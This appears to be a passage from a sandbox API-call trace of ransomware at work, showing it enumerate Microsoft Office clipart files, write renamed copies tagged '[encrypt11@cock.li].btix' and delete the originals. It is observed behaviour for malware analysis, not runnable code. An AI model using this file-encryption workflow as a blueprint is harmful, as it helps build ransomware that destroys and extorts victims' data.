[0056.837] lstrlenW (lpString=".1cd") returned 4 [0056.837] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0056.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0056.837] lstrlenW (lpString=".jpg") returned 4 [0056.837] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0056.837] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0056.837] lstrlenW (lpString="BL00012_.WMF") returned 12 [0056.837] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00012_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0056.837] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x33eff14 | out: lpFileSize=0x33eff14*=9818) returned 1 [0056.838] CloseHandle (hObject=0x2d8) returned 1 [0056.838] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00012_.wmf")) returned 0x220 [0056.838] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00012_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0056.838] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00012_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0056.838] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0056.838] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0056.838] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00012_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0056.839] GetLastError () returned 0x0 [0056.839] ReadFile (in: hFile=0x2d8, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x265a, lpOverlapped=0x0) returned 1 [0057.224] WriteFile (in: hFile=0x36c, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0x2660, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0x2660, lpOverlapped=0x0) returned 1 [0057.225] ReadFile (in: hFile=0x2d8, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x0, lpOverlapped=0x0) returned 1 [0057.225] WriteFile (in: hFile=0x36c, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xec, lpOverlapped=0x0) returned 1 [0057.225] SetEndOfFile (hFile=0x36c) returned 1 [0057.225] CloseHandle (hObject=0x36c) returned 1 [0057.226] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0057.226] SetEndOfFile (hFile=0x2d8) returned 1 [0057.227] CloseHandle (hObject=0x2d8) returned 1 [0057.227] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0057.227] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00012_.wmf")) returned 1 [0057.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68 [0057.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68 [0057.227] lstrlenW (lpString=".doc") returned 4 [0057.227] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0057.227] lstrlenW (lpString=".docx") returned 5 [0057.227] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0057.227] lstrlenW (lpString=".pdf") returned 4 [0057.227] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0057.227] lstrlenW (lpString=".xls") returned 4 [0057.227] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0057.227] lstrlenW (lpString=".xlsx") returned 5 [0057.227] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0057.228] lstrlenW (lpString=".ppt") returned 4 [0057.228] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0057.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68 [0057.228] lstrlenW (lpString=".zip") returned 4 [0057.228] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0057.228] lstrlenW (lpString=".rar") returned 4 [0057.228] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0057.228] lstrlenW (lpString=".bz2") returned 4 [0057.228] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0057.228] lstrlenW (lpString=".7z") returned 3 [0057.228] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0057.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68 [0057.228] lstrlenW (lpString=".dbf") returned 4 [0057.228] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0057.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68 [0057.228] lstrlenW (lpString=".1cd") returned 4 [0057.228] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0057.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68 [0057.228] lstrlenW (lpString=".jpg") returned 4 [0057.228] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0057.231] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0057.231] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0057.231] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00130_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0057.231] GetLastError () returned 0x0 [0057.232] ReadFile (in: hFile=0x2d8, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x5b8, lpOverlapped=0x0) returned 1 [0057.667] WriteFile (in: hFile=0x36c, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0x5c0, lpOverlapped=0x0) returned 1 [0057.668] ReadFile (in: hFile=0x2d8, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x0, lpOverlapped=0x0) returned 1 [0057.668] WriteFile (in: hFile=0x36c, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xec, lpOverlapped=0x0) returned 1 [0057.668] SetEndOfFile (hFile=0x36c) returned 1 [0057.670] CloseHandle (hObject=0x36c) returned 1 [0057.671] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0057.671] SetEndOfFile (hFile=0x2d8) returned 1 [0057.672] CloseHandle (hObject=0x2d8) returned 1 [0057.672] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0057.672] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00130_.wmf")) returned 1 [0057.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68 [0057.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68 [0057.673] lstrlenW (lpString=".doc") returned 4 [0057.673] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0057.673] lstrlenW (lpString=".docx") returned 5 [0057.673] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0057.673] lstrlenW (lpString=".pdf") returned 4 [0057.673] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0057.673] lstrlenW (lpString=".xls") returned 4 [0057.673] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0057.673] lstrlenW (lpString=".xlsx") returned 5 [0057.673] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0057.673] lstrlenW (lpString=".ppt") returned 4 [0057.673] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0057.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68 [0057.673] lstrlenW (lpString=".zip") returned 4 [0057.673] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0057.673] lstrlenW (lpString=".rar") returned 4 [0057.673] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0057.673] lstrlenW (lpString=".bz2") returned 4 [0057.673] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0057.673] lstrlenW (lpString=".7z") returned 3 [0057.673] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0057.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68 [0057.673] lstrlenW (lpString=".dbf") returned 4 [0057.673] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0057.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68 [0057.673] lstrlenW (lpString=".1cd") returned 4 [0057.673] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0057.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68 [0057.674] lstrlenW (lpString=".jpg") returned 4 [0057.674] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0057.674] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0057.674] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0057.674] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00194_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0057.674] GetLastError () returned 0x0 [0057.674] ReadFile (in: hFile=0x2d8, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0xf92, lpOverlapped=0x0) returned 1 [0057.761] WriteFile (in: hFile=0x36c, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xfa0, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xfa0, lpOverlapped=0x0) returned 1 [0057.762] ReadFile (in: hFile=0x2d8, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x0, lpOverlapped=0x0) returned 1 [0057.762] WriteFile (in: hFile=0x36c, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xec, lpOverlapped=0x0) returned 1 [0057.762] SetEndOfFile (hFile=0x36c) returned 1 [0057.775] CloseHandle (hObject=0x36c) returned 1 [0057.813] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0057.814] SetEndOfFile (hFile=0x2d8) returned 1 [0057.817] CloseHandle (hObject=0x2d8) returned 1 [0057.819] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0057.819] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00194_.wmf")) returned 1 [0057.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68 [0057.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68 [0057.819] lstrlenW (lpString=".doc") returned 4 [0057.819] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0057.819] lstrlenW (lpString=".docx") returned 5 [0057.819] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0057.820] lstrlenW (lpString=".pdf") returned 4 [0057.820] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0057.820] lstrlenW (lpString=".xls") returned 4 [0057.820] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0057.820] lstrlenW (lpString=".xlsx") returned 5 [0057.820] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0057.820] lstrlenW (lpString=".ppt") returned 4 [0057.820] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0057.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68 [0057.820] lstrlenW (lpString=".zip") returned 4 [0057.820] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0057.820] lstrlenW (lpString=".rar") returned 4 [0057.820] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0057.820] lstrlenW (lpString=".bz2") returned 4 [0057.820] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0057.820] lstrlenW (lpString=".7z") returned 3 [0057.820] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0057.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68 [0057.820] lstrlenW (lpString=".dbf") returned 4 [0057.820] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0057.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68 [0057.820] lstrlenW (lpString=".1cd") returned 4 [0057.820] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0057.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68 [0057.820] lstrlenW (lpString=".jpg") returned 4 [0057.820] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0057.821] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0057.821] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0057.821] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00247_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0057.821] GetLastError () returned 0x0 [0057.821] ReadFile (in: hFile=0x394, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x386c, lpOverlapped=0x0) returned 1 [0058.369] WriteFile (in: hFile=0x348, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0x3870, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0x3870, lpOverlapped=0x0) returned 1 [0058.374] ReadFile (in: hFile=0x394, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x0, lpOverlapped=0x0) returned 1 [0058.375] WriteFile (in: hFile=0x348, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xec, lpOverlapped=0x0) returned 1 [0058.375] SetEndOfFile (hFile=0x348) returned 1 [0058.375] CloseHandle (hObject=0x348) returned 1 [0058.376] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0058.376] SetEndOfFile (hFile=0x394) returned 1 [0058.377] CloseHandle (hObject=0x394) returned 1 [0058.377] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0058.377] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00247_.wmf")) returned 1 [0058.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68 [0058.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68 [0058.511] lstrlenW (lpString=".doc") returned 4 [0058.511] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0058.511] lstrlenW (lpString=".docx") returned 5 [0058.511] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0058.511] lstrlenW (lpString=".pdf") returned 4 [0058.511] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0058.511] lstrlenW (lpString=".xls") returned 4 [0058.511] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0058.511] lstrlenW (lpString=".xlsx") returned 5 [0058.511] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0058.511] lstrlenW (lpString=".ppt") returned 4 [0058.511] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0058.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68 [0058.511] lstrlenW (lpString=".zip") returned 4 [0058.511] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0058.511] lstrlenW (lpString=".rar") returned 4 [0058.511] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0058.511] lstrlenW (lpString=".bz2") returned 4 [0058.511] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0058.511] lstrlenW (lpString=".7z") returned 3 [0058.511] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0058.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68 [0058.511] lstrlenW (lpString=".dbf") returned 4 [0058.511] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0058.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68 [0058.512] lstrlenW (lpString=".1cd") returned 4 [0058.512] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0058.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68 [0058.512] lstrlenW (lpString=".jpg") returned 4 [0058.512] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0058.569] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0058.569] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0058.569] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00261_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0058.569] GetLastError () returned 0x0 [0058.569] ReadFile (in: hFile=0x394, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x30c2, lpOverlapped=0x0) returned 1 [0058.651] WriteFile (in: hFile=0x398, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0x30d0, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0x30d0, lpOverlapped=0x0) returned 1 [0058.652] ReadFile (in: hFile=0x394, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x0, lpOverlapped=0x0) returned 1 [0058.652] WriteFile (in: hFile=0x398, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xec, lpOverlapped=0x0) returned 1 [0058.652] SetEndOfFile (hFile=0x398) returned 1 [0058.652] CloseHandle (hObject=0x398) returned 1 [0058.653] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0058.654] SetEndOfFile (hFile=0x394) returned 1 [0058.654] CloseHandle (hObject=0x394) returned 1 [0058.655] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0058.655] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00261_.wmf")) returned 1 [0058.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68 [0058.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68 [0058.721] lstrlenW (lpString=".doc") returned 4 [0058.721] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0058.721] lstrlenW (lpString=".docx") returned 5 [0058.721] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0058.721] lstrlenW (lpString=".pdf") returned 4 [0058.721] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0058.721] lstrlenW (lpString=".xls") returned 4 [0058.721] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0058.721] lstrlenW (lpString=".xlsx") returned 5 [0058.721] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0058.721] lstrlenW (lpString=".ppt") returned 4 [0058.721] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0058.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68 [0058.721] lstrlenW (lpString=".zip") returned 4 [0058.721] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0058.721] lstrlenW (lpString=".rar") returned 4 [0058.721] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0058.721] lstrlenW (lpString=".bz2") returned 4 [0058.721] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0058.721] lstrlenW (lpString=".7z") returned 3 [0058.721] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0058.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68 [0058.721] lstrlenW (lpString=".dbf") returned 4 [0058.721] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0058.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68 [0058.721] lstrlenW (lpString=".1cd") returned 4 [0058.721] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0058.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68 [0058.722] lstrlenW (lpString=".jpg") returned 4 [0058.722] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0058.769] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0058.769] SetFilePointerEx (in: hFile=0x318, 